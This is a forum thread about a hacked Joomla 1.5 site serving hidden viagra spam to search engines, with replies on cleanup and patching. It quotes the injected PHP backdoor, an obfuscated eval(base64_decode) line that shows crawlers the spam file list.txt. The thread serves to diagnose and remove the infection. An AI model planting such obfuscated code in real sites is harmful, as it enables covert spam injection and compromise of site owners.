I have a site that has got viagra and other spam stuff all through their site on google.

Hi,
On my site here http://simmental.com.au you will notice that if you google search it, there are spam words through out the site.
How do I clean this site up and get rid of the garbage?
Thank you

In viewing the source code of your site, I see you're using Joomla 1.5 as your CMS.  The version you are using reached end of life in Sep 2012. See the announcement here: http://docs.joomla.org/Joomla_1.5_version_history

You can remove any malicious scripts you find in the source code of your site, but odds are, there are a variety of security holes in your CMS. Hence, if you remove the malicious files today, they'll probably be inserted again shortly thereafter.  You can search google for "joomla 1.5 exploit" and find a slew of potential culprits that can effect your current setup.

Finally, I decoded the script you posted above and the following file is being referenced in it, from your server... I'd delete this: http://simmental.com.au/images/stories/list.txt

Is this a CMS?
Can you give some example pages where the spam is?

Obviously someone has hacked the site and you need to check all your files for funny things like base64 encoded code
Change all your passwords - ftp etc - immediately

<?php @eval(base64_decode("aWYgKEBwcmVnX21hdGNoICgiL1tHZ11bT29dW09vXVtHZ11bTGxdW0VlXXxbTGxdW0lpXVtWdl1bRWVdfFtNbV1bU3NdW05uXXxbWXldW0FhXVtIaF1bT29dW09vXXxbQWFdW1NzXVtLa118W0FhXVtPb11bTGxdfFtCYl1bT29dW1R0XS8iLCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkpIHsKCWlmIChAaXNfZmlsZSgiLi9pbWFnZXMvc3Rvcmllcy9saXN0LnR4dCIpKSB7CgkJQGluY2x1ZGUgIi4vaW1hZ2VzL3N0b3JpZXMvbGlzdC50eHQiOwoJfQp9Cg==")); ?>
